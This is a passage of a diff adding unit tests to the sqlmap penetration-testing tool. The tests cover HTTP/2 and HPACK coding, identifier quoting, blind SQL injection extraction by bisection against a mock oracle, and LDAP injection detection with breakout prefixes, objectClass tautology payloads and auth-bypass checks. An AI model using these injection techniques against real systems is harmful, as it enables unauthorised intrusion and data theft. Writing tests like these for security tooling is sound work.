test_roundtrip(self): + header = encode_frame(HEADERS, FLAG_END_HEADERS, 1, b"abc")[:9] + self.assertEqual(decode_frame_header(header), (3, HEADERS, FLAG_END_HEADERS, 1)) + + def test_payload_is_appended_verbatim(self): + frame = encode_frame(DATA, 0, 1, b"hello") + self.assertEqual(frame[9:], b"hello") + + def test_reserved_stream_bit_is_masked(self): + # the high (reserved) bit of the 31-bit stream id must be dropped on both ends + header = encode_frame(DATA, 0, 0x80000001, b"")[:9] + self.assertEqual(decode_frame_header(header), (0, DATA, 0, 1)) + + def test_zero_length_payload(self): + header = encode_frame(DATA, FLAG_END_STREAM, 1, b"")[:9] + length, _, flags, _ = decode_frame_header(header) + self.assertEqual(length, 0) + self.assertEqual(flags, FLAG_END_STREAM) + + def test_oversized_payload_rejected(self): + with self.assertRaises(ValueError): + encode_frame(DATA, 0, 1, b"x" * (0xFFFFFF + 1)) + + def test_bad_header_length_rejected(self): + with self.assertRaises(ValueError): + decode_frame_header(b"123") + + +class TestIntegerCoding(unittest.TestCase): + def test_rfc_c11_small(self): + # RFC 7541 C.1.1: 10 with a 5-bit prefix fits in the prefix + self.assertEqual(list(encode_integer(10, 5)), [10]) + + def test_rfc_c12_multibyte(self): + # RFC 7541 C.1.2: 1337 with a 5-bit prefix + self.assertEqual(list(encode_integer(1337, 5)), [31, 154, 10]) + self.assertEqual(decode_integer(bytearray([31, 154, 10]), 0, 5), (1337, 3)) + + def test_rfc_c13_full_byte_prefix(self): + # RFC 7541 C.1.3: 42 starting from a full (8-bit prefix at an octet boundary) + self.assertEqual(list(encode_integer(42, 8)), [42]) + + def test_roundtrip_across_prefixes(self): + for prefix in (4, 5, 6, 7, 8): + for value in (0, 1, 2, 30, 31, 32, 127, 128, 255, 256, 16384, 1000000): + encoded = bytearray(encode_integer(value, prefix)) + decoded, pos = decode_integer(encoded, 0, prefix) + self.assertEqual(decoded, value) + self.assertEqual(pos, len(encoded)) + + def test_first_byte_bits_preserved(self): + # a caller-supplied opcode in the high bits must survive a small value + self.assertEqual(bytearray(encode_integer(5, 7, 0x80))[0], 0x80 | 5) + + +class TestHuffman(unittest.TestCase): + def test_known_vector_www_example_com(self): + # RFC 7541 C.4.1 + self.assertEqual(binascii.hexlify(huffman_encode(b"www.example.com")), b"f1e3c2e5f23a6ba0ab90f4ff") + + def test_empty(self): + self.assertEqual(huffman_encode(b""), b"") + self.assertEqual(huffman_decode(b""), b"") + + def test_roundtrip(self): + for sample in (b"a", b"hello world", b"/index.html?a=1&b=2", + b"GET", b"application/json", b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + bytes(bytearray(range(256)))): + self.assertEqual(huffman_decode(huffman_encode(sample)), sample) + + def test_shrinks_typical_text(self): + sample = b"www.example.com" + self.assertLess(len(huffman_encode(sample)), len(sample)) + + def test_padding_too_long_rejected(self): + # 0xfe walks eight 1-bits into a long (unterminated) code -> more than a byte of padding + with self.assertRaises(ValueError): + huffman_decode(_b(0xFE)) + + +class TestStringCoding(unittest.TestCase): + def test_huffman_branch_roundtrip(self): + encoded = encode_string(b"custom-value") + self.assertTrue(bytearray(encoded)[0] & 0x80) # huffman flag set for compressible text + self.assertEqual(decode_string(bytearray(encoded), 0), (b"custom-value", len(encoded))) + + def test_literal_branch_when_huffman_would_not_shrink(self): + encoded = encode_string(_b(0xFF)) + self.assertFalse(bytearray(encoded)[0] & 0x80) # falls back to a literal string + self.assertEqual(decode_string(bytearray(encoded), 0), (_b(0xFF), len(encoded))) + + def test_disable_huffman(self): + encoded = encode_string(b"abc", huffman=False) + self.assertFalse(bytearray(encoded)[0] & 0x80) + self.assertEqual(decode_string(bytearray(encoded), 0), (b"abc", len(encoded))) + + +class TestHpackDecoder(unittest.TestCase): + def test_indexed_static_entries(self): + # 0x82/0x86/0x84 -> static indices 2, 6, 4 + self.assertEqual( + Decoder().decode(_b(0x82, 0x86, 0x84)), + [(b":method", b"GET"), (b":scheme", b"http"), (b":path", b"/")], + ) + + def test_static_lookup_bounds(self): + d = Decoder() + self.assertEqual(d._get(1), (b":authority", b"")) + self.assertEqual(d._get(2), (b":method", b"GET")) + self.assertEqual(d._get(STATIC_LEN), STATIC_TABLE[-1]) + + def test_index_zero_rejected(self): + with self.assertRaises(ValueError): + Decoder()._get(0) + + def test_index_out_of_range_rejected(self): + with self.assertRaises(ValueError): + Decoder()._get(STATIC_LEN + 1) # no dynamic entries yet + + def test_literal_incremental_indexing_populates_dynamic_table(self): + # 0x40 = literal with incremental indexing, new name + block = bytearray([0x40]) + encode_string(b"custom-key") + encode_string(b"custom-value") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"custom-key", b"custom-value")]) + # entry is now addressable at the first dynamic index (STATIC_LEN + 1) + self.assertEqual(d._get(STATIC_LEN + 1), (b"custom-key", b"custom-value")) + self.assertEqual(d._size, 32 + len(b"custom-key") + len(b"custom-value")) + + def test_literal_without_indexing_does_not_touch_dynamic_table(self): + block = bytearray([0x00]) + encode_string(b"k") + encode_string(b"v") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"k", b"v")]) + self.assertEqual(d.dynamic, []) + + def test_dynamic_table_eviction(self): + d = Decoder(max_size=40) # each 2+2 byte entry costs 32+2+2 = 36 + d._add(b"aa", b"bb") + self.assertEqual(len(d.dynamic), 1) + d._add(b"cc", b"dd") # 72 > 40 -> oldest evicted + self.assertEqual(d.dynamic, [(b"cc", b"dd")]) + self.assertEqual(d._size, 36) + + def test_dynamic_size_update_clears(self): + d = Decoder() + d._add(b"x", b"y") + d.decode(_b(0x20)) # 0x20 = dynamic table size update to 0 + self.assertEqual(d.max_size, 0) + self.assertEqual(d.dynamic, []) + + +class TestHpackEncoderRoundTrip(unittest.TestCase): + def test_roundtrip_through_decoder(self): + headers = [ + (b":method", b"GET"), + (b":scheme", b"https"), + (b":path", b"/a/b?c=d"), + (b":authority", b"example.com"), + (b"user-agent", b"sqlmap"), + (b"accept", b""), # empty value + (b"x-custom", b"\x00\x01\xff"), # non-ASCII value + ] + self.assertEqual(Decoder().decode(Encoder().encode(headers)), headers) + + def test_encoder_output_is_bytes(self): + self.assertIsInstance(Encoder().encode([(b"a", b"b")]), bytes) + + +class TestH2Response(unittest.TestCase): + def _make(self, status=200, headers=None, body=b"body"): + headers = headers if headers is not None else [(b":status", b"200"), (b"content-type", b"text/html")] + return H2Response("https://target/x", status, headers, body) + + def test_basic_fields(self): + r = self._make() + self.assertEqual(r.code, 200) + self.assertEqual(r.status, 200) + self.assertEqual(r.msg, "OK") + self.assertEqual(r.http_version, "HTTP/2.0") + self.assertEqual(r.geturl(), "https://target/x") + + def test_unknown_status_message(self): + self.assertEqual(self._make(status=799).msg, "") + + def test_pseudo_headers_stripped(self): + r = self._make() + self.assertNotIn(":status", r.info()) + self.assertEqual(r.info().get("content-type"), "text/html") + + def test_read_full_then_empty(self): + r = self._make(body=b"hello") + self.assertEqual(r.read(), b"hello") + self.assertEqual(r.read(), b"") # offset exhausted + + def test_read_in_chunks(self): + r = self._make(body=b"abcdef") + self.assertEqual(r.read(2), b"ab") + self.assertEqual(r.read(3), b"cde") + self.assertEqual(r.read(10), b"f") # asking past the end returns the remainder + self.assertEqual(r.read(10), b"") + + def test_str_header_names_accepted(self): + # headers may arrive already decoded to str (not only bytes) + r = H2Response("https://t/", 200, [("content-type", "application/json")], b"{}") + self.assertEqual(r.info().get("content-type"), "application/json") + + def test_mimetools_style_headers_list(self): + # patchHeaders() relies on a '.headers' list of "Name: value\r\n" lines being present + r = self._make() + self.assertTrue(hasattr(r.info(), "headers")) + self.assertIn("content-type: text/html\r\n", r.info().headers) + + def test_close_is_noop(self): + self.assertIsNone(self._make().close()) + + +class TestConstants(unittest.TestCase): + def test_redirect_codes(self): + for code in (301, 302, 303, 307, 308): + self.assertIn(code, REDIRECT_CODES) + self.assertNotIn(200, REDIRECT_CODES) + + def test_static_table_length(self): + self.assertEqual(STATIC_LEN, len(STATIC_TABLE)) + self.assertEqual(STATIC_LEN, 61) # RFC 7541 Appendix A + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_identifiers_output.py b/tests/test_identifiers_output.py new file mode 100644 index 00000000000..39a97f06625 --- /dev/null +++ b/tests/test_identifiers_output.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Identifier quoting per DBMS dialect, CSV value escaping, and dump value +replacement markers. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue +from lib.core.enums import DBMS + + +class TestIdentifierQuoting(unittest.TestCase): + # special-char identifier -> the per-dialect quoting wrapper + WRAP = { + DBMS.MYSQL: "`weird name`", + DBMS.MSSQL: "[weird name]", + DBMS.PGSQL: '"weird name"', + DBMS.ORACLE: '"WEIRD NAME"', # Oracle upper-cases quoted identifiers + } + + def test_special_identifier_quoting(self): + for dbms, wrapped in self.WRAP.items(): + set_dbms(dbms) + self.assertEqual(safeSQLIdentificatorNaming("weird name"), wrapped, msg=str(dbms)) + + def test_simple_identifier_roundtrip(self): + # plain identifier needs no quoting; round-trips identically on case-preserving dialects + for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL): + set_dbms(dbms) + for ident in ("users", "password", "tbl1"): + self.assertEqual(safeSQLIdentificatorNaming(ident), ident, msg="%s %r" % (dbms, ident)) + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming(ident)), ident) + + def test_oracle_uppercases_on_unsafe(self): + # documented dialect quirk: Oracle unsafe-naming upper-cases identifiers + set_dbms(DBMS.ORACLE) + self.assertEqual(safeSQLIdentificatorNaming("users"), "users") + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming("users")), "USERS") + + def test_unsafe_strips_quotes(self): + for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL): + set_dbms(dbms) + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming("weird name")), "weird name") + + +class TestSafeCSValue(unittest.TestCase): + CASES = [ + ("foobar", "foobar"), # plain -> unchanged + ("foo,bar", '"foo,bar"'), # contains delimiter -> quoted + ('he"y', '"he""y"'), # contains quote -> doubled + wrapped + ("a\nb", '"a\nb"'), # contains newline -> quoted + ('"a","b"', '"""a"",""b"""'), # value that begins+ends with a quote must STILL be escaped + ('"', '""""'), # lone quote -> doubled + wrapped + ] + + def test_table(self): + for inp, expected in self.CASES: + self.assertEqual(safeCSValue(inp), expected, msg="safeCSValue(%r)" % inp) + + def test_csv_roundtrip(self): + # the real invariant: a dumped cell must come back as exactly ONE field with its original + # content (a value that begins+ends with '"' must not be emitted verbatim - that splits it) + import csv + for value in ("foobar", "foo,bar", 'he"y', '"a","b"', '"', 'a"b"c'): + line = safeCSValue(value) + fields = next(csv.reader([line])) # csv.reader accepts any iterable of text lines (py2+py3) + self.assertEqual(fields, [value], msg="round-trip failed for %r -> %r" % (value, line)) + + +# (DUMP_REPLACEMENTS markers are covered in test_dicts.py - not duplicated here) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_inference_engine.py b/tests/test_inference_engine.py new file mode 100644 index 00000000000..066c70406c7 --- /dev/null +++ b/tests/test_inference_engine.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The blind-SQLi extraction engine (lib/techniques/blind/inference.py bisection). + +This is the actual algorithm that pulls data out one character at a time over a +boolean/blind oracle - the heart of sqlmap. It is normally network-coupled, so +here we drive the REAL bisection() against a mock oracle: Request.queryPage is +replaced with a function that decodes the forged payload (we control the payload +template, so it is trivially parseable) and answers the comparison against a +known secret. If bisection's binary search, charset narrowing, or value assembly +regress, these go red - without a live target. + +Also asserts the search is logarithmic (binary search), not a linear scan of the +character space. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import getCurrentThreadData +from lib.request.connect import Connect +import lib.techniques.blind.inference as inf + +# bisection does: safeStringFormat(payload, (expression, idx, posValue)); '>' is the +# greater-char marker (swapped to '=' on the final equality check). We pass a parseable +# template so the mock oracle can recover (idx, operator, threshold). +TEMPLATE = "EXPR=%s IDX=%d CMP>%d" +_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") + +# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path +_CONF = {"predictOutput": False, "threads": 1, "api": False, "verbose": 0, "hexConvert": False, + "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5} +_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, + "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False} + + +class _EngineCase(unittest.TestCase): + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_processChar = kb.data.get("processChar") + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + kb.data.processChar = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.data.processChar = self._saved_processChar + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + + def _extract(self, secret, charsetType=None): + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + count, value = inf.bisection(TEMPLATE, "SELECT secret", length=len(secret), charsetType=charsetType) + return value, count + + +class TestBisectionExtraction(_EngineCase): + # NOTE: the alpha / numeric / mixed cases are NOT redundant - getChar has per-class + # "first character" position heuristics (distinct branches for a-z, A-Z and 0-9 at + # inference.py ~331-336), so each character class exercises a different code path. + def test_single_char(self): + value, _ = self._extract("X") + self.assertEqual(value, "X") + + def test_alpha(self): + value, _ = self._extract("AdminUser") # exercises the a-z / A-Z heuristic branch + self.assertEqual(value, "AdminUser") + + def test_alphanumeric(self): + value, _ = self._extract("admin123") + self.assertEqual(value, "admin123") + + def test_with_spaces_and_symbols(self): + value, _ = self._extract("p@ss W0rd!") + self.assertEqual(value, "p@ss W0rd!") + + def test_numeric_string(self): + value, _ = self._extract("4815162342") # exercises the 0-9 heuristic branch + self.assertEqual(value, "4815162342") + + def test_longer_value(self): + secret = "The quick brown fox 0123456789" + value, _ = self._extract(secret) + self.assertEqual(value, secret) + + +class TestUnicodeExpansion(_EngineCase): + """charsetType=None starts with a 0..127 table and gradually expands it (shiftTable) to + reach higher code points. This test exercises the FIRST expansion step (code points + 128..1023) via Latin-1 chars, where the per-byte oracle model is exact. + + NOTE: kb.disableShiftTable is an INTENTIONAL session-level safety latch (sqlmap author's + design): once expansion runs all the way to the top - only reachable by a code point above + 0xFFFFF, or by a misbehaving always-TRUE oracle - it disables further expansion to prevent + runaway / erroneous extraction. That is deliberate, so this test does NOT assert that + expansion survives across such an event. + + (Code points >= 256 are retrieved/assembled byte-wise in real runs - decodeIntToUnicode + splits them into a byte sequence - so a simple ord()-based mock oracle only models the + single-byte range; those are out of scope here.)""" + + def test_extracts_latin1_via_first_expansion(self): + for s in (u"caf\xe9", u"\xfcber", u"ni\xf1o", u"\xe9\xe8\xea\xeb"): + self.assertEqual(self._extract(s)[0], s, msg="expansion extraction failed for %r" % s) + + +class TestSearchIsLogarithmic(_EngineCase): + def test_query_count_is_sublinear_in_charset(self): + # GOAL: catch a regression from binary search to a linear/per-codepoint scan. + # Observed cost is ~6-22 queries/char (it varies: the first-char heuristic's benefit + # depends on ambient kb/conf state, so a tighter bound would flake). A linear scan of the + # 128-char ASCII space would be ~128/char (~3840 for 30 chars). Bound at 40/char cleanly + # separates "logarithmic" (passes) from "linearized" (fails) without being flaky. + secret = "x" * 30 + _, count = self._extract(secret) + self.assertLess(count, len(secret) * 40, + msg="bisection used %d queries for %d chars (~%.1f/char) - search regressed toward linear?" + % (count, len(secret), count / float(len(secret)))) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_ldap.py b/tests/test_ldap.py new file mode 100644 index 00000000000..469f4fed223 --- /dev/null +++ b/tests/test_ldap.py @@ -0,0 +1,446 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the LDAP injection engine. Mock oracles stand in for the +HTTP/LDAP layer so detection, fingerprinting, blind inference, and output formatting can +be exercised without a live target. +""" + +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.ldap.inject as ldap + +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_LDAP_CONF_KEYS = ("parameters", "paramDict", "skipUrlEncode", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _LDAP_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + +# --- Helpers ---------------------------------------------------------------- + +SENTINEL = ldap.SENTINEL + + +def _mockOracle(value): + """Build a mock extract oracle that knows the full target value. Probes + use _ProbeBuilder.prefix() which encodes via _ldapLiteral and + _transportEncode; reverse both so the plain prefix can be compared.""" + class Oracle(object): + def extract(self, probe): + # Decode %xx transport escapes (done by _transportEncode). + # Order matters: %25 (literal '%') must be decoded before other + # %xx sequences whose '%' came from the *encoding* pass. + def _transportDecode(s): + s = s.replace("%25", "\x00") # placeholder for literal % + s = s.replace("%23", "#") + s = s.replace("%26", "&") + s = s.replace("%2B", "+") + s = s.replace("%3D", "=") + s = s.replace("%20", " ") + s = s.replace("\x00", "%") # restore literal % + return s + + # Decode LDAP \xx hex escapes (done by _ldapLiteral). + def _ldapDecode(s): + return re.sub(r"\\([0-9a-fA-F]{2})", + lambda m: chr(int(m.group(1), 16)), s) + + # Probe format: SENTINEL)(attr=_ldapLiteral(prefix_char)* + idx = probe.rfind(")(") + if idx < 0: + return False + rest = probe[idx + 2:] # after )( + if "=" not in rest or not rest.endswith("*"): + return False + inner = rest[:-1] # strip trailing * + attr, val = inner.split("=", 1) + prefix = _transportDecode(_ldapDecode(val)) + return value.startswith(prefix) + return Oracle() + + +import re + + +# --- Tests ------------------------------------------------------------------ + +class TestHelpers(unittest.TestCase): + def test_ratio_identical(self): + self.assertGreater(ldap._ratio("abc", "abc"), 0.9) + + def test_ratio_different(self): + self.assertLess(ldap._ratio("abc", "xyz"), 0.5) + + def test_ratio_none(self): + self.assertEqual(ldap._ratio(None, "abc"), 0.0) + self.assertEqual(ldap._ratio("abc", None), 0.0) + + def test_delim_get(self): + from lib.core.enums import PLACE + self.assertEqual(ldap._delim(PLACE.GET), '&') + + def test_delim_cookie_default(self): + from lib.core.enums import PLACE + self.assertEqual(ldap._delim(PLACE.COOKIE), ';') + + def test_originalValue(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=test&x=123'} + conf.paramDict = {PLACE.GET: {'q': 'test', 'x': '123'}} + self.assertEqual(ldap._originalValue(PLACE.GET, 'q'), 'test') + self.assertEqual(ldap._originalValue(PLACE.GET, 'x'), '123') + + def test_replaceSegment(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=old&x=123'} + conf.paramDict = {PLACE.GET: {'q': 'old', 'x': '123'}} + result = ldap._replaceSegment(PLACE.GET, 'q', 'new') + self.assertIn('q=new', result) + self.assertIn('x=123', result) + + +class TestFingerprinting(unittest.TestCase): + # The mapping branches recognise a distinctive vendor substring *anywhere* inside + # a realistic error banner and normalise it to a canonical backend name. Feeding + # an embedded substring (not the bare canonical name) proves the source performs + # real substring discrimination rather than echoing its input. + def test_fingerprintByError_ad(self): + self.assertEqual( + ldap._fingerprintByError("LDAP error from Microsoft Active Directory server"), + "Microsoft Active Directory") + + def test_fingerprintByError_openldap(self): + self.assertEqual(ldap._fingerprintByError("OpenLDAP 2.4.57 SERVER_DOWN"), + "OpenLDAP") + + def test_fingerprintByError_apacheds(self): + self.assertEqual(ldap._fingerprintByError("org.apache.directory.ApacheDS 2.0"), + "ApacheDS") + + def test_fingerprintByError_oracle(self): + self.assertEqual(ldap._fingerprintByError("Oracle Internet Directory / Oracle stack"), + "Oracle Directory Server") + + def test_fingerprintByError_389(self): + self.assertEqual(ldap._fingerprintByError("Red Hat 389 ns-slapd"), + "389 Directory Server") + + def test_fingerprintByError_precedence_ad_over_oracle(self): + # A banner carrying two recognised substrings resolves to the earlier branch + # (Active Directory), proving the result is driven by branch order, not by an + # echo of whichever name happens to appear. + self.assertEqual( + ldap._fingerprintByError("Microsoft Active Directory bridged to Oracle"), + "Microsoft Active Directory") + + def test_fingerprintByError_none_and_empty(self): + # The only real branch reachable by non-mapping banners: the falsy guard. + self.assertIsNone(ldap._fingerprintByError(None)) + self.assertIsNone(ldap._fingerprintByError("")) + + def test_fingerprintByError_passthrough_when_unmatched(self): + # Banners that match no vendor branch (including the "python-ldap"/"Java JNDI" + # case, whose source branch is observationally identical to the catch-all) are + # returned verbatim. This single test documents that pass-through contract and, + # crucially, asserts such banners are NOT misclassified into a specific backend. + for banner in ("Generic LDAP", "python-ldap 3.4.0", "Caused by: Java JNDI", + "some unrecognised directory service"): + result = ldap._fingerprintByError(banner) + self.assertEqual(result, banner) + self.assertNotIn(result, ("Microsoft Active Directory", "OpenLDAP", + "ApacheDS", "Oracle Directory Server", + "389 Directory Server")) + + +class TestGrid(unittest.TestCase): + def test_grid_simple(self): + cols = ["attr", "value"] + rows = [("uid", "admin"), ("cn", "Admin User")] + output = ldap._grid(cols, rows) + self.assertIn("attr", output) + self.assertIn("uid", output) + self.assertIn("admin", output) + self.assertIn("cn", output) + self.assertIn("Admin User", output) + + def test_grid_empty(self): + output = ldap._grid(["a"], []) + self.assertIn("a", output) + + def test_grid_single_row(self): + cols = ["col"] + rows = [("val",)] + output = ldap._grid(cols, rows) + self.assertIn("col", output) + self.assertIn("val", output) + + +class TestErrorDetection(unittest.TestCase): + def setUp(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=x'} + conf.paramDict = {PLACE.GET: {'q': 'x'}} + conf.skipUrlEncode = False + conf.cookieDel = ';' + + self._originalSend = ldap._send + + def tearDown(self): + ldap._send = self._originalSend + + def test_detectError_openldap(self): + ldap._send = lambda p, pm, v: ( + "Bad search filter (-7)" if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "OpenLDAP") + + def test_detectError_ad(self): + ldap._send = lambda p, pm, v: ( + "LDAP: error code 49 - 80090308: LdapErr: DSID-0C090308, " + "comment: AcceptSecurityContext error, data 525" if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "Microsoft Active Directory") + + def test_detectError_apacheds(self): + ldap._send = lambda p, pm, v: ( + "javax.naming.directory.InvalidSearchFilterException: Unbalanced parenthesis" + if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "ApacheDS") + + def test_detectError_notInjected(self): + ldap._send = lambda p, pm, v: "OK" + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertIsNone(backend) + + def test_detectError_uses_ldap_metacharacter(self): + """Blockers 1: error detection must use LDAP filter metacharacter, + not an apostrophe (which is not an LDAP special char).""" + # Verify the probe appends ')' (unbalanced paren), not "'" (SQL quote) + calls = [] + ldap._send = lambda p, pm, v: calls.append(v) or "OK" + from lib.core.enums import PLACE + ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertTrue(any(v.endswith(')') for v in calls)) + self.assertFalse(any("'" in v for v in calls if len(v) > 2)) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=x'} + conf.paramDict = {PLACE.GET: {'q': 'x'}} + conf.skipUrlEncode = False + conf.cookieDel = ';' + + self._originalSend = ldap._send + + def tearDown(self): + ldap._send = self._originalSend + + def test_boolean_divergence(self): + """True payload returns different content than false payload. + The engine tries multiple breakout prefixes; the first '*')' with + '(objectClass=*)' tautology should succeed.""" + def fakeSend(place, param, value): + # First breakout '*)' with (objectClass=*) succeeds + if value.startswith("x*)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, "*)") + self.assertIn("*)(objectClass=*", bypass) + + +class TestExtraction(unittest.TestCase): + def test_inferAttribute_simple(self): + """Blind-extract a value with a controlled oracle.""" + oracle = _mockOracle("admin") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertEqual(value, "admin") + + def test_inferAttribute_empty(self): + """No probes match.""" + oracle = _mockOracle("") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertIsNone(value) + + def test_inferAttribute_partial(self): + """Probe matches a single char only.""" + oracle = _mockOracle("a") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertEqual(value, "a") + + def test_inferAttribute_email(self): + """Extract value with special characters.""" + oracle = _mockOracle("admin@example.com") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "mail") + self.assertEqual(value, "admin@example.com") + + +class TestIsError(unittest.TestCase): + def test_isError_positive(self): + self.assertTrue(ldap._isError("Bad search filter (-7)")) + + def test_isError_negative(self): + self.assertFalse(ldap._isError("OK")) + + def test_isError_ad(self): + self.assertTrue(ldap._isError("AcceptSecurityContext error, data 525")) + + +class TestSlot(unittest.TestCase): + def test_slot_defaults(self): + slot = ldap.Slot(place="GET", parameter="q") + self.assertEqual(slot.place, "GET") + self.assertEqual(slot.parameter, "q") + self.assertIsNone(slot.backend) + self.assertIsNone(slot.oracle) + self.assertIsNone(slot.template) + self.assertIsNone(slot.payload) + self.assertIsNone(slot.breakout) + self.assertIsNone(slot.bypass) + + +class TestBoundaries(unittest.TestCase): + def test_breakout_prefixes_defined(self): + """Verify the breakout prefix list is non-empty and ordered.""" + self.assertGreaterEqual(len(ldap.LDAP_BREAKOUT_PREFIXES), 4) + # First prefix should be the simplest/most generic + self.assertEqual(ldap.LDAP_BREAKOUT_PREFIXES[0], "*)") + + def test_detectBoolean_returns_prefix(self): + """_detectBoolean must return the winning breakout prefix.""" + def fakeSend(place, param, value): + if value.startswith("x*)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, "*)") + + def test_detectBoolean_fallback_prefix(self): + """When first prefix fails, try next one.""" + calls = [] + def fakeSend(place, param, value): + calls.append(value) + # First breakout '*)' -- error + if value.startswith("x*)(objectClass=*"): + return '{"error":"Bad search filter"}' + # Second breakout ')' succeeds + if value.startswith("x)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, ")") + + +class TestAuthBypassRestriction(unittest.TestCase): + def test_auth_bypass_password_like(self): + """Blockers 6: wildcard auth bypass only for password-like params.""" + self.assertTrue(ldap._isPasswordParam("password")) + self.assertTrue(ldap._isPasswordParam("pass")) + self.assertTrue(ldap._isPasswordParam("pwd")) + self.assertTrue(ldap._isPasswordParam("passphrase")) + self.assertTrue(ldap._isPasswordParam("secret")) + self.assertTrue(ldap._isPasswordParam("pincode")) + self.assertTrue(ldap._isPasswordParam("credential")) + self.assertTrue(ldap._isPasswordParam("apikey")) + self.assertTrue(ldap._isPasswordParam("token")) + self.assertTrue(ldap._isPasswordParam("auth_token")) + + def test_auth_bypass_search_like(self): + """Search parameter 'q' is NOT reported as auth bypass.""" + self.assertFalse(ldap._isPasswordParam("q")) + self.assertFalse(ldap._isPasswordParam("search")) + self.assertFalse(ldap._isPasswordParam("query")) + self.assertFalse(ldap._isPasswordParam("username")) + self.assertFalse(ldap._isPasswordParam("id")) + + +class TestCookiePlace(unittest.TestCase): + def test_cookie_not_in_ldap_places(self): + """Blockers 2: cookie/URI not in LDAP_PLACES until _send supports them.""" + from lib.core.enums import PLACE + self.assertNotIn(PLACE.COOKIE, ldap.LDAP_PLACES) + self.assertNotIn(PLACE.URI, 